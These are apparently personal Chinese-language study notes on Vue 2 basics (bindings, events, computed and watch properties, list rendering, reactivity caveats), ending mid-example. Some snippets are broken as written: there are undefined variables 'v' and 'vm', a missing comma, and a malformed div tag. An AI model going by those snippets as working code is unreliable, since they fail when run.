Vue_2 -- 基础语法
1. 快速入门
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.js"></script>
</head>
<body>
<div id="app">
<h1>Hello {{title}}</h1>
<h2>{{name}}</h2>
</div>
<script type="text/javascript">
Vue.config.productionTip = false // 阻止 Vue 在启动时生成环境检测提示
// 创建 Vue 实例,Vue实例和容器必须是一对一的关系
const vue = new Vue({
el: '#app', // 指定当前Vue实例绑定哪个标签
data: { // 数据存储容器,供前面指定的el区域来使用
title: "World",
name: "你好,世界"
}
})
</script>
</body>
</html>
2. 标签绑定
1. 方式一
// 创建 Vue 实例的同时绑定标签
const vue = new Vue({
el: '#app',
data: {
title: "World",
name: "你好,世界"
}
})
2. 方式二
// 创建 Vue 实例
const vue = new Vue({
data: {
name: "你好,世界"
}
})
// 手动挂载
v.$mount("#app")
3. data声明
1. 方式一
// 创建 Vue 实例的同时声明data
const vue = new Vue({
el: '#app',
data: {
name: "你好,世界"
}
})
2. 方式二
// 创建 Vue 实例
const vue = new Vue({
el: '#app',
data(){
return{
name:"你好,世界"
}
}
})
4. 插值语法
1. 变量取值
<h1> {{title}} </h1>
2. 函数调用
<h1> {{getTitle()}} </h1>
5. 数据绑定
1. v-bind(单向绑定)
<a v-bind:href="url">百度</a>
<script type="text/javascript">
const vue = new Vue({
el: '#app', // 指定当前Vue实例绑定哪个标签
data: { // 数据存储容器,供前面指定的el区域来使用
url:"http://www.baidu.com",
}
})
</script>
简写形式
<a :href="url">百度</a>
<script type="text/javascript">
const vue = new Vue({
el: '#app', // 指定当前Vue实例绑定哪个标签
data: { // 数据存储容器,供前面指定的el区域来使用
url:"http://www.baidu.com",
}
})
</script>
2. v-model(双向绑定)
2.1 语法
只能用于表单类型元素(有value值的元素),必须有输入或选择框
<div id="app">
<div>
<span>双向绑定:</span><input type="text" v-model:value="data">
</div>
<div>{{data}}</div>
</div>
<script type="text/javascript">
const vue = new Vue({
el: '#app',
data: {
data: "1234"
}
})
</script>
简写形式
<div id="app">
<div>
<span>双向绑定:</span><input type="text" v-model="data">
</div>
<div>{{data}}</div>
</div>
<script type="text/javascript">
const vue = new Vue({
el: '#app',
data: {
data: "1234"
}
})
</script>
2.2 常用修饰符
1. 转成数值类型
vue对于用户的输入会被转成数值类型,如果输入的内容值有字符则不会再转换后面的字符,通常同时配合着input的type=nubmer 禁止用户输入除数字外的字符,如下
<input type="number" id="password" v-model.number="password">
2. 惰性收集
vue对于用户的输入会在表掐失去焦点的一瞬间收集全部输入,如下对于多行输入并不需要输入一个字符就收集一个字符
<textarea name="others" id="" cols="30" rows="10" v-model.lazy="others"></textarea>
3. 去掉前后空格
<textarea name="others" id="" cols="30" rows="10" v-model.trim="others"></textarea>
3. 数据代理技术
通过一个对象代理另一个对象中属性的读写操作就是数据代理
3.1 Object.defineProperty
1. 设置属性
这样设置的属性age,不可被枚举(循环)
<script>
let person = {
name: "张三",
sex: "男",
}
// 给对象设置属性,如果想要这个属性可被枚举,必须设置 enumerable: true,
Object.defineProperty(person, 'age', {
value: 18,
})
console.log(Object.keys(person))
</script>
2. 设置属性可迭代
如果想要这个属性可被枚举,必须设置 enumerable: true
<script>
let person = {
name: "张三",
sex: "男",
}
Object.defineProperty(person, 'age', {
value: 18,
enumerable: true, // 设置属性可迭代
})
console.log(Object.keys(person))
</script>
3. 设置属性可修改
<script>
let person = {
name: "张三",
sex: "男",
}
Object.defineProperty(person, 'age', {
value: 18,
writable: true, // 设置属性可修改
})
console.log(Object.keys(person))
</script>
3. 设置属性可删除
<script>
let person = {
name: "张三",
sex: "男",
}
Object.defineProperty(person, 'age', {
value: 18,
configurable: true, // 设置属性可删除
})
console.log(Object.keys(person))
</script>
4. get()
<script>
let person = {
name: "张三",
sex: "男",
}
let number = 18
// 为保证person的age值跟随者number的改变而同时改变,需要用到以下函数
Object.defineProperty(person, 'age', {
get(){ // 当读取person的age属性时,get函数就会被调用,此函数的返回值为age 的值
return number
}
})
console.log(person)
number = 19
console.log(person)
</script>
5. set()
<script>
let person = {
name: "张三",
sex: "男",
}
let number = 18
Object.defineProperty(person, 'age', {
set(value){ // 当修改person的age属性时,set函数就会被调用,此函数的返回值为age 的值
number = value
}
})
console.log(number)
person.age = 19
console.log(number)
</script>
6. 示例
<script>
let obj = {x:100}
let obj2 = {x:200}
Object.defineProperty(obj2,'x',{
get(){
return obj.x
},
set(value){
obj.x = value
}
})
</script>
4. Vue中对数据代理的应用
Vue将data对象中的每个属性进行代理,并保存到在自身的_data属性中

Vue的数据代理

总结
1. Vue中的数据代理:通过vm对象来代理data对象中属性的操作(读/写)
2. Vue中数据代理的好处: 更加方便的操作data中的数据
3. 基本原理:
a. 通过Object.defineProperty()把data对象中所有属性添加到vm上
b. 为每一个添加到vm上的属性,都指定一个getter/setter
c. 在getter/setter内部取操作(读/写) data中对应的属性
5. _data的数据劫持技术
6. 事件
1. v-on
<button v-on:click="changeInfo">修改提示词</button>
简写形式
<button @click="changeInfo">修改提示词</button>
2. 点击事件
2.1 绑定点击事件
<div id="app">
<h1>欢迎来到{{name}}</h1>
<button @click="changeInfo">修改提示词</button>
</div>
<body>
<script>
new Vue({
el: "#app",
data: {
name: "天上人间"
},
methods: {
changeInfo(event) {
console.log(event) // 事件对象
console.log(event.target) // 事件标签元素
console.log(event.target.innerText) // 标签元素的内容
this.name = "水上人间" // this为Vue的实例对象
}
// 箭头函数定义的函数是没有自己的this的,会往外层直接找到window
changeInfo2:(event)=>{
this.name // this为Window的实例对象,window对象是没有name属性的,所以此处会报错
}
}
})
</script>
2.2 参数传递
<div id="app">
<h1>欢迎来到{{name}}</h1>
<!-- 函数名直接传参,如果想在函数内部调到event,必须传递关键字参数 $event -->
<button @click="changeInfo($event,1)">修改提示词</button>
</div>
<body>
<script>
new Vue({
el: "#app",
data: {
name: "天上人间"
},
methods: {
changeInfo(event,sid) {
console.log(event)
console.log(sid)
}
}
})
</script>
3. 事件修饰符
3.1 prevent -- 阻止标签默认行为
如,阻止a标签的跳转行为
1. js阻止标签默认行为
<div id="app">
<a href="https://www.baidu.com" @click="changeInfo">弹出信息</a>
</div>
<script>
new Vue({
el: "#app",
data: {
name: "天上人间"
},
methods: {
changeInfo(e) {
e.preventDefault() // 阻止a标签的跳转行为
alert(name)
}
}
})
</script>
3. Vue阻止标签默认行为
<div id="app">
<!-- click.prevent 来阻止默认行为 -->
<a href="https://www.baidu.com" @click.prevent="changeInfo">弹出信息</a>
</div>
<script>
new Vue({
el: "#app",
data: {
name: "天上人间"
},
methods: {
changeInfo(e) {
alert(name)
}
}
})
</script>
3.2 stop -- 阻止事件冒泡
1. js阻止事件冒泡
<div id="app">
<!-- 子元素和父元素有相同的点击事件,点击子元素的同时,默认会触发同名事件,这就是事件冒泡,这里点击事件会被执行两次 -->
<div @click="changeInfo">
<!-- 修饰符可以连续写多个 -->
<button @click.stop="changeInfo">弹框</button>
</div>
</div>
<script>
new Vue({
el: "#app",
data: {
name: "天上人间"
},
methods: {
changeInfo(e) {
e.stopPropagation() // 阻止时间冒泡
alert(name)
}
}
})
</script>
3. Vue阻止事件冒泡
<div id="app">
<div @click="changeInfo">
<button @click.stop="changeInfo">弹框</button>
</div>
</div>
<script>
new Vue({
el: "#app",
data: {
name: "天上人间"
},
methods: {
changeInfo(e) {
alert(name)
},
}
})
</script>
3.3 once -- 事件只触发一次
1. js事件只触发一次
<div id="app">
<!-- 子元素和父元素有相同的点击事件,点击子元素的同时,默认会触发同名事件,这就是事件冒泡,这里点击事件会被执行两次 -->
<div class="demo1" @click="changeInfo">
<button @click="changeInfo">弹出信息</button>
</div>
</div>
<script>
new Vue({
el: "#app",
data: {
name: "天上人间"
},
methods: {
changeInfo(e) {
e.stopPropagation() // 阻止时间冒泡
alert(name)
}
}
})
</script>
3. Vue事件只触发一次
<div id="app">
<button @click.once="changeInfo">弹出信息</button>
</div>
<body>
<script>
new Vue({
el: "#app",
data: {
name: "天上人间"
},
methods: {
changeInfo(e) {
alert(name)
}
}
})
</script>
3.4 captrue
由于事件是由捕获阶段到冒泡阶段的,此方法是强制事件只使用捕获模式
<div id="app">
<!-- 外层标签加capture -->
<div style="background-color: skyblue;padding: 20px" @click.capture="sendMsg(1)">
div1
<div style="background-color:orange;padding: 20px" @click="sendMsg(2)">
div2
</div>
</div>
</div>
<body>
<script>
new Vue({
el: "#app",
data: {
name: "天上人间"
},
methods: {
changeInfo(e) {
alert(name)
},
sendMsg(msg){
console.log(msg)
}
}
})
</script>
3.5 self -- 也可以阻止事件冒泡
只有event.target是当前操作的元素才触发事件
<div id="app">
<div @click.self="changeInfo">
<button @click.stop="changeInfo">弹框</button>
</div>
</div>
<script>
new Vue({
el: "#app",
data: {
name: "天上人间"
},
methods: {
changeInfo(e) {
console.log(e.target)
alert(name)
}
}
})
</script>
3.6 passive
事件的默认行为立即执行,无需等待事件回调执行完毕
鼠标滚轮滚动事件wheel,会先将事件函数执行完毕后,再执行滚动栏的滚动行为,当事件函数需要执行流程很复杂时,会出现鼠标滚轮滚动了,但是滚动栏没动的情况,这里使用passive,则会先执行滚动条滚动,后台默默执行函数
<div id="app">
<ul style="height: 400px;width: 400px;background-color: orange;overflow: auto" @wheel="printMsg">
<li style="height: 200px">1</li>
<li style="height: 200px">2</li>
<li style="height: 200px">3</li>
<li style="height: 200px">4</li>
</ul>
</div>
<body>
<script>
new Vue({
el: "#app",
data: {
name: "天上人间"
},
methods: {
printMsg() {
for (let i = 0; i < 100000; i++) {
console.log("@")
}
console.log("执行完毕")
},
}
})
</script>
4. 滚动事件
4.1 scroll
滚动条绑定滚动事件,如果滚动条到底,则不再会触发
<div id="app">
<ul style="height: 400px;width: 400px;background-color: orange;overflow: auto" @scroll="printMsg">
<li style="height: 200px">1</li>
<li style="height: 200px">2</li>
<li style="height: 200px">3</li>
<li style="height: 200px">4</li>
</ul>
</div>
<body>
<script>
new Vue({
el: "#app",
data: {
name: "天上人间"
},
methods: {
printMsg() {
console.log("@")
},
}
})
</script>
4.2 wheel
鼠标滚轮绑定滚动事件,滚轮一直动会一直触发,不受制于滚动条是否到底
<div id="app">
<ul style="height: 400px;width: 400px;background-color: orange;overflow: auto" @wheel="printMsg">
<li style="height: 200px">1</li>
<li style="height: 200px">2</li>
<li style="height: 200px">3</li>
<li style="height: 200px">4</li>
</ul>
</div>
<body>
<script>
new Vue({
el: "#app",
data: {
name: "天上人间"
},
methods: {
printMsg() {
console.log("@")
},
}
})
</script>
5. 键盘事件
5.1 keyup
键盘抬起时触发的事件
5.2 keydown
键盘按下时触发的事件
<div id="app">
<input type="text" placeholder="按下回车弹出输入内容" @keyup="printMsg">
</div>
<body>
<script>
new Vue({
el: "#app",
data: {
},
methods: {
printMsg(e) {
if(e.keyCode !== 13) return
alert(e.target.value)
},
}
})
</script>
5.3 按键别名
回车 => enter
删除 => delete (捕获"Delete"和"Backspace"键)
退出 => esc
空格 => space
换行 => tab (必须使用keydown绑定事件,才能正常使用,同时还有ctrl,alt.shift,meta(win键))
上 => up
下 => down
左 => left
右 => right
使用按键别名,监听回车键
<div id="app">
<input type="text" placeholder="按下回车弹出输入内容" @keyup.enter="printMsg">
</div>
<body>
<script>
new Vue({
el: "#app",
data: {
},
methods: {
printMsg(e) {
alert(e.target.value)
},
}
})
</script>
5.4 其他按键
<div id="app">
<input type="text" placeholder="按下回车弹出输入内容" @keyup.caps-lock="printMsg">
</div>
<body>
<script>
new Vue({
el: "#app",
data: {
},
methods: {
printMsg(e) {
console.log(e.key,e.keyCode) // 键的名字,键的编码,得到键的名字则可以直接调用,但要注意驼峰体的按键是两个单词的拼接,如键盘上切换大小写的键: CapsLock 转换为 caps-lock,其他同理
},
}
})
</script>
5.5 特殊按键
1. 换行 => tab (必须使用keydown绑定事件,才能正常使用)
2. 系统修饰键: ctrl,alt.shift,meta(win键)
a. 配合keyup使用时,必须是按下系统修饰键的同时再按下其他键,随后释放其他键,事件才会被触发,@keyup.ctrl.y 就是 ctrl + y
b. 配置keydown使用,正常触发事件
5.6 自定义别名
<script>
Vue.config.keyCodes.huiche = 13
</script>
6. 事件分类
- 以上的都是内置事件,是给
html标签使用的 - 脚手架编程中有自定义事件,是给组件用的
7. 计算属性
将Vue中定义的属性,重新计算后得到一个新的属性,此为计算属性,底层借助了Object.definepropeerty方法提供的getter和setter
<div id="app">
姓: <input type="text" name="" v-model="firstName"><br>
名: <input type="text" name="" v-model="lastName"><br>
全名: <span>{{fullName}}</span>
</div>
<script type="text/javascript">
const vue = new Vue({
el: '#app',
data: {
firstName: "张",
lastName: "三"
},
computed: {
fullName:{
get(){ // get() 当调用 fullName 时得到计算完成后的属性
// get() 什么时候调用
// 1. 整体模板第一次调用fullName 时,并将结果缓存起来,页面中其他地方读取都是缓存
// 2. fullName 所依赖的数据发生变化时,如firstName 或lastName 发生变化时就会重新执行get()
return this.firstName + "-" + this.lastName
},
// 不是必须定义的,如果很确定这个fullName不会被修改,则无需定义set(),
// fullName 发生变化时会调用set()
set(value){
const arr = value.split("-")
this.firstName = arr[0]
this.lastName = arr[1]
}
}
}
})
</script>
简写形式,确定计算属性只读不改
<div id="app">
姓: <input type="text" name="" v-model="firstName"><br>
名: <input type="text" name="" v-model="lastName"><br>
全名: <span>{{fullName}}</span>
</div>
<script type="text/javascript">
const vue = new Vue({
el: '#app',
data: {
firstName: "张",
lastName: "三"
},
computed: {
fullName(){
return this.firstName + "-" + this.lastName
}
}
})
</script>
8. 侦听属性(监视属性)
监视数据的变化
1. 定义侦听属性
<div id="app">
<div>今天天气很{{info}}</div>
<button @click="changeWeather">切换天气</button>
</div>
<script type="text/javascript">
const vue = new Vue({
el: '#app',
data: {
isHot: true
},
computed: {
info(){
return this.isHot ? "炎热" : "凉爽"
}
},
methods:{
changeWeather(){
this.isHot = !this.isHot
}
},
watch:{ // 监视属性
isHot:{
immediate:true, // 初始化时,调用handler,默认为false
handler(newValue,oldValue){ // 当isHot发生改变时自动执行handler函数,同时保存着之前的值
console.log("改变后的值",newValue,"改变前的值",oldValue)
}
},
info:{ // 也可以监视计算属性
immediate:true, // 初始化时,就先调用一次handler,默认为false
handler(newValue,oldValue){ // 当info发生改变时自动执行handler函数,同时保存着之前的值
console.log("改变后的值",newValue,"改变前的值",oldValue)
}
}
}
})
</script>
方式二
<div id="app">
<div>今天天气很{{info}}</div>
<button @click="changeWeather">切换天气</button>
</div>
<script type="text/javascript">
const vue = new Vue({
el: '#app',
data: {
isHot: true
},
computed: {
info(){
return this.isHot ? "炎热" : "凉爽"
}
},
methods:{
changeWeather(){
this.isHot = !this.isHot
}
},
})
vm.$watch('isHot',{
immediate:true,
handler(newValue,oldValue){
console.log("改变后的值",newValue,"改变前的值",oldValue)
}
})
</script>
2. 深度侦听
只监视numbers中的a的改变
<div id="app">
<div>a:{{numbers.a}} b:{{numbers.b}}</div>
<button @click="changeNumber">a+1</button>
</div>
<script type="text/javascript">
const vue = new Vue({
el: '#app',
data: {
numbers: {
a:1,
b:2
}
},
methods:{
changeNumber(){
this.numbers.a++
}
},
watch:{ // 监视属性
a:{ // a是被包裹在numbers中的,这样写是无法监视到a的
handler(newValue,oldValue){
console.log("改变后的值",newValue,"改变前的值",oldValue)
}
},
'numbers.a':{ // 监视 numbers.a
handler(newValue,oldValue){
console.log("改变后的值",newValue,"改变前的值",oldValue)
}
}
}
})
</script>
监视numbers中的任何项发生改变
<div id="app">
<div>a:{{numbers.a}} b:{{numbers.b}}</div>
<button @click="changeNumber">a+1</button>
</div>
<script type="text/javascript">
const vue = new Vue({
el: '#app',
data: {
numbers: {
a:1,
b:2
}
},
methods:{
changeNumber(){
this.numbers.a++
}
},
watch:{ // 监视属性
numbers:{
deep:true, // 监视numbers中的任何项发生改变
handler(newValue,oldValue){
console.log("改变后的值",newValue,"改变前的值",oldValue)
}
}
}
})
</script>
3. 侦听属性简写
只监视第一层属性的变化
div id="app">
<div>a:{{a}}</div>
<button @click="changeNumber">a+1</button>
</div>
<script type="text/javascript">
const vue = new Vue({
el: '#app',
data: {
a:1,
},
methods:{
changeNumber(){
this.a++
}
},
watch:{
a(newValue,oldValue){ // 注意参数
console.log("改变后的值",newValue,"改变前的值",oldValue)
}
}
})
</script>
<div id="app">
<div>a:{{a}}</div>
<button @click="changeNumber">a+1</button>
</div>
<script type="text/javascript">
const vue = new Vue({
el: '#app',
data: {
a: 1,
},
methods: {
changeNumber() {
this.a++
}
},
})
vue.$watch('a', function (newValue,oldValue) { // 注意参数
console.log("改变后的值", newValue, "改变前的值", oldValue)
})
</script>
4. 侦听属性实现计算属性中的案例
<div id="app">
姓: <input type="text" v-model="firstName"> <br>
姓: <input type="text" v-model="lastName"> <br>
全名: <span>{{fullName}}</span>
</div>
<script type="text/javascript">
const vue = new Vue({
el: '#app',
data: {
firstName: "张",
lastName: "三",
fullName: "张-三"
},
watch: {
firstName(val) {
this.fullName = val + "-" + this.lastName
},
lastName(val) {
this.fullName = this.firstName + "-" + val
}
}
})
</script>
5. 异步任务,只能用侦听属性实现
<div id="app">
姓: <input type="text" v-model="firstName"> <br>
姓: <input type="text" v-model="lastName"> <br>
全名: <span>{{fullName}}</span>
</div>
<script type="text/javascript">
const vue = new Vue({
el: '#app',
data: {
firstName: "张",
lastName: "三",
fullName: "张-三"
},
watch: {
firstName(val) {
setTimeout(()=>{ // 定时器为异步任务,延迟1秒再修改全名
this.fullName = val + "-" + this.lastName
},1000)
},
lastName(val) {
this.fullName = this.firstName + "-" + val
}
}
})
</script>
6. 侦听路由变化
<script>
const vue = new Vue({
watch: {
'$route'(to, from) {
console.log('Route changed from', from.path, 'to', to.path);
this.timer && clearTimeout(this.timer);
this.timer = null;
this.dataList = []
}
},
})
</script>
9. 样式绑定
1. class样式
1.1 字符串形式
<style>
.basic {
width: 100%;
height: 400px;
}
.normal {
background-color: skyblue;
}
.happy {
background-color: orange;
}
.sad {
background-color: green;
}
</style>
<div id="app">
<!-- 对于不会动态变化的class值 正常定义,对于动态变化的class 值,使用v-bind 管理,适用于样式的类名不确定,需要动态指定-->
<div class="basic" :class="mood" @click="changeMood">test</div>
</div>
<script>
new Vue({
el: "#app",
data: {
mood: "normal"
},
methods: {
changeMood() {
this.mood = "happy"
}
}
})
</script>
1.2 数组形式
<style>
.basic {
width: 100%;
height: 400px;
border: 1px solid black;
}
.c1 {
font-size: 100px;
}
.c2 {
border-radius: 90px;
}
.c3 {
color: orange;
}
</style>
<div id="app">
<!-- 操作数组中的class类型,来动态修改样式 -->
<div class="basic" :class="classArr" @click="deleteClass">test</div>
</div>
<script>
new Vue({
el: "#app",
data: {
classArr: ["c1","c2","c3"]
},
methods: {
deleteClass() {
this.classArr.shift()
// this.classArr.push("c1")
}
}
})
</script>
1.3 对象形式
<style>
.basic {
width: 100%;
height: 400px;
border: 1px solid black;
}
.c1 {
font-size: 100px;
}
.c2 {
border-radius: 90px;
}
</style>
<div id="app">
<!-- 对于不会动态变化的class值 正常定义,对于动态变化的class 值,使用v-bind 管理 -->
<div class="basic" :class="classObj" @click="deleteClass">test</div>
</div>
<script>
new Vue({
el: "#app",
data: {
classObj: {
c1: false,
c2: false
}
},
methods: {
deleteClass() {
this.classObj.c1 = !this.classObj.c1
this.classObj.c2 = !this.classObj.c2
}
}
})
</script>
2. style样式
写法一
<div id="app">
<!-- 改为对象形式 font-size 改为 fontSize 并和px拼接-->
<div :style="{fontSize: fSize + 'px'}" @click="changeClass">test</div>
</div>
<script>
new Vue({
el: "#app",
data: {
fSize:40
},
methods: {
changeClass(){
this.fSize += 10
}
}
})
</script>
写法二
<div id="app">
<!-- font-size 改为 fontSize px拼接-->
<div :style="fontObj" @click="changeClass">test</div>
</div>
<script>
new Vue({
el: "#app",
data: {
fontObj: {
fontSize: '40px'
}
},
methods: {
changeClass() {
this.fontObj.fontSize = "100px"
}
}
})
</script>
10. 条件语句
1. v-show
如果v-show 后面的表达式为false,会将当前标签用display:none隐藏,并不会删除标签,如果节点变化的比较频繁就使用v-show
<div id="app">
<button @click="changeShow">显示test2</button>
<div>test1</div>
<div v-show="isShow">test2</div>
</div>
<script>
new Vue({
el: "#app",
data: {
isShow: false,
},
methods: {
changeShow() {
this.isShow = !this.isShow
}
}
})
</script>

2. v-if
v-if
v-if 不满足条件是没有标签节点的
<div id="app">
<button @click="changeShow">显示test2</button>
<div>test1</div>
<div v-if="isShow">test2</div>
<div v-else-if="!isShow">test3</div>
<div v-else>test4</div>
</div>
<script>
new Vue({
el: "#app",
data: {
isShow: false,
},
methods: {
changeShow() {
this.isShow = !this.isShow
}
}
})
</script>

11. 循环语句
1. 遍历数组
<div id="app">
<ul>
<!-- 注意必须要写key值,v为索引值,括号最好写上 -->
<li v-for="(p,v) in persons" :key="p.id">索引{{v}}-{{p.name}}-{{p.age}}</li>
</ul>
</div>
<script>
new Vue({
el: "#app",
data: {
persons:[
{id:1,name:'小明',age:18},
{id:2,name:'小红',age:19},
{id:3,name:'小白',age:20},
]
},
})
</script>
2. 遍历对象
<div id="app">
<ul>
<li v-for="v,k in persons" :key="k">{{k}}-{{v}}</li>
</ul>
</div>
<script>
new Vue({
el: "#app",
data: {
persons:{id:1,name:'小明',age:18},
},
})
</script>
3. 遍历字符串
<div id="app">
<ul>
<li v-for="i,v in persons" :key="i">{{i}}-{{v}}</li>
</ul>
</div>
<script>
new Vue({
el: "#app",
data: {
persons:"jlkajdsf",
},
})
</script>
4. 遍历次数
<div id="app">
<ul>
<li v-for="n,v in 5">序号{{n}}-索引{{v}}</li>
</ul>
</div>
<script>
new Vue({
el: "#app",
})
</script>
5. key 的原理
key是vue在内部使用的并不会在标签上显示
1. 使用index时,且会在数组索引为0的位置安插数据时,破坏了之前数组的顺序,就会出现的标签错乱的bug,同时这样做的效果是很低的,不会复用之前的DOM,在末尾添加数据,并未破坏原本的数据不会出现这个bug,必须要换成后端获取的id字段这种唯一的ID才不会出现这个bug
<div id="app">
<ul>
<li v-for="(p,index) in persons" :key="index">
{{p.name}}-{{p.age}}
<input type="text">
</li>
</ul>
<button @click.once="add">添加一个人员</button>
</div>
<script>
new Vue({
el: "#app",
data: {
persons: [
{id: 1, name: "张三", age: 18},
{id: 2, name: "李四", age: 19},
{id: 3, name: "王五", age: 20},
]
},
methods:{
add(){
const onePerson = {id:4,name:"赵六",age:21}
this.persons.unshift(onePerson)
}
}
})
</script>
当所有的input框写入内容后,再点击添加人员时会出现标签结构问题:如下

点击添加人员后

2. key的作用
Index为key时

当循环列表时,会根据初始数据生成虚拟DOM,如上图中,然后再根据虚拟DOM转成真实DOM,用户在Input框中的输入是在操作真实DOM,当有新数据插入在列表的首位时,数据发生了变化,同样根据新数据生成虚拟DOM,然后根据虚拟DOM对比算法来进行比对,比对的根据就是key这个值,如上图,会循环对比两边的虚拟DOM,如:左右两边的key=0的这一行的标签中的文字节点是不一样的,并不能复用,所以当由虚拟DOM转成真实DOM时,会生成老刘-30替换之前的文本节点,而input框在虚拟DOM中对比结果为一致的,则会复用之前携带用户输入数据的节点,以此类推
ID为key时

3. 开发中如何选择key
1. 最好使用每条数据的唯一标识作为key,如id,手机号,身份证号,学号等唯一值
2. 如果不存在对数据的逆序添加,逆序删除等破坏顺讯操作,仅用于渲染列表用于展示,使用index作为key是没有问题的
12. 数组渲染
1. 数组遍历
<div id="app">
<ul>
<!-- 注意必须要写key值,v为索引值,括号最好写上 -->
<li v-for="(p,v) in persons" :key="p.id">索引{{v}}-{{p.name}}-{{p.age}}</li>
</ul>
</div>
<script>
new Vue({
el: "#app",
data: {
persons:[
{id:1,name:'小明',age:18},
{id:2,name:'小红',age:19},
{id:3,name:'小白',age:20},
]
},
})
</script>
2. 数组过滤
1. 使用侦听属性实现
<div id="app">
<h1>数组过滤</h1>
<input type="text" placeholder="请输入文字" v-model="keyWord">
<ul v-if="filPersons">
<li v-for="(p,index) in filPersons" :key="index">
{{p.name}}-{{p.age}}
</li>
</ul>
</div>
<script>
new Vue({
el: "#app",
data: {
keyWord: "",
persons: [
{id: 1, name: "张三", age: 18},
{id: 2, name: "李四", age: 19},
{id: 3, name: "王五", age: 20},
],
filPersons: []
},
watch: {
keyWord: {
// immediate:true 初始化时,先调用一次handler
immediate:true, // 由于字符串中都会包含空字符串,当indexOf(空字符串)时,this.filPersons筛选出来的结果为persons数组的每一个元素
handler(val) {
this.filPersons = this.persons.filter((p) => {
return p.name.indexOf(val) !== -1
})
}
}
}
})
</script>
2. 使用计算属性实现
<div id="app">
<h1>数组过滤</h1>
<input type="text" placeholder="请输入文字" v-model="keyWord">
<ul>
<li v-for="(p,index) in filPersons" :key="index">
{{p.name}}-{{p.age}}
</li>
</ul>
</div>
<script>
new Vue({
el: "#app",
data: {
keyWord: "",
persons: [
{id: 1, name: "张三", age: 18},
{id: 2, name: "李四", age: 19},
{id: 3, name: "王五", age: 20},
],
},
computed: {
filPersons(){
return this.filPersons = this.persons.filter((p) => {
return p.name.indexOf(this.keyWord) !== -1
})
}
}
})
</script>
3. 数组过滤后排序
<div id="app">
<h1>数组过滤+排序</h1>
<input type="text" placeholder="请输入文字" v-model="keyWord">
<ul>
<li v-for="(p,index) in filPersons" :key="index">
{{p.name}}-{{p.age}}
</li>
</ul>
<button @click="sortType = 2">年龄升序</button>
<button @click="sortType = 1">年龄降序</button>
</div>
<script>
new Vue({
el: "#app",
data: {
keyWord: "",
sortType: 0,
persons: [
{id: 1, name: "马冬梅", age: 18},
{id: 2, name: "周冬雨", age: 19},
{id: 3, name: "周杰伦", age: 40},
{id: 4, name: "王兆伦", age: 25},
],
},
computed: {
filPersons() {
const filteredArr = this.filPersons = this.persons.filter((p) => {
return p.name.indexOf(this.keyWord) !== -1
})
if (this.sortType) {
filteredArr.sort((p1, p2) => {
return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age
})
}
return filteredArr
}
}
})
</script>
13. 数据操作
1. 初始化完成后再给对象设置属性
1.一开始就定义好sex为空字符串,就会被Vue给管理,从而做响应式,但是这个不是初始化完成后再设置属性
<div id="app">
<h1>更新时的问题</h1>
<ul>
<li v-for="(p,index) in persons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
<button @click="addAttr">添加性别到马冬梅</button>
</div>
<script>
new Vue({
el: "#app",
data: {
keyWord: "",
sortType: 0,
// 一开始就定义好sex为空字符串,就会被Vue给管理,从而做响应式
persons1:{
id: 1,
name: "马冬梅",
age: 18,
sex: ""
}
},
methods: {
addAttr() {
this.persons1.sex = "男"
}
}
})
</script>
2. 通过Vue.set()来添加属性,但是不能再data对象中添加属性,只能在其子对象中添加属性
<div id="app">
<h1>更新时的问题</h1>
<ul>
<li v-for="(p,index) in persons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
<button @click="addAttr">添加性别到马冬梅</button>
</div>
<script>
new Vue({
el: "#app",
data: {
keyWord: "",
sortType: 0,
persons1:{
id: 1,
name: "马冬梅",
age: 18,
}
},
methods: {
addAttr() {
// 通过Vue.set() 来设置属性,只能在data中的子对象添加
Vue.set(this.persons1,"sex","男")
}
}
})
</script>
3. vm.$set()
<div id="app">
<h1>更新时的问题</h1>
<ul>
<li v-for="(p,index) in persons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
<button @click="addAttr">添加性别到马冬梅</button>
</div>
<script>
new Vue({
el: "#app",
data: {
keyWord: "",
sortType: 0,
persons1:{
id: 1,
name: "马冬梅",
age: 18,
}
},
methods: {
addAttr() {
// 通过 this.$set() 来设置属性
this.$set(this.persons1,"sex","男")
}
}
})
</script>
2. 数组操作
Vue对于data中的数组元素,并未创建对应的getter()和setter(),这就表示,当使用数组索引 (arr[0]) 来查询和修改数组中的元素时并不会被Vue监测到
Vue中对于数组的检测,并不是通过getter()和setter()来检测的,而是用数组的一些方法,如push(),pop(),shift(),unshift(),splice(),sort(),reverse()方法才会被Vue检测到
<div id="app">
<h1>更新时的问题</h1>
<ul>
<li v-for="(p,index) in persons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
<button @click="addAttr">添加性别到马冬梅</button>
</div>
<script>
new Vue({
el: "#app",
data: {
keyWord: "",
sortType: 0,
persons: [
{id: 1, name: "马冬梅", age: 18},
{id: 2, name: "周冬雨", age: 19},
{id: 3, name: "周杰伦", age: 40},
{id: 4, name: "王兆伦", age: 25},
],
},
methods: {
addAttr() {
// 使用索引修改元素,并不会被Vue监测到,从而刷新页面显示
this.persons[0] = {id: 1, name: "马冬春", age: 22}
}
}
})
</script>
需要通过上述数组方法来修改
<div id="app">
<h1>更新时的问题</h1>
<ul>
<li v-for="(p,index) in persons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
<button @click="addAttr">添加性别到马冬梅</button>
</div>
<script>
new Vue({
el: "#app",
data: {
keyWord: "",
sortType: 0,
persons: [
{id: 1, name: "马冬梅", age: 18},
{id: 2, name: "周冬雨", age: 19},
{id: 3, name: "周杰伦", age: 40},
{id: 4, name: "王兆伦", age: 25},
],
},
methods: {
addAttr() {
this.persons.splice(0,1,{id: 1, name: "马冬春", age: 22})
}
}
})
</script>
那么Vue是如何检测到你执行了这些方法呢?
Vue对数组的push(),pop(),shift(),unshift(),splice(),sort(),reverse()方法,做了一层封装,并非是原数组的底层操作方法
如果想通过索引来修改数组,必须使用Vue.set(),或vm.$set()
<div id="app">
<h1>更新时的问题</h1>
<ul>
<li v-for="(p,index) in persons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
<button @click="addAttr">添加性别到马冬梅</button>
</div>
<script>
new Vue({
el: "#app",
data: {
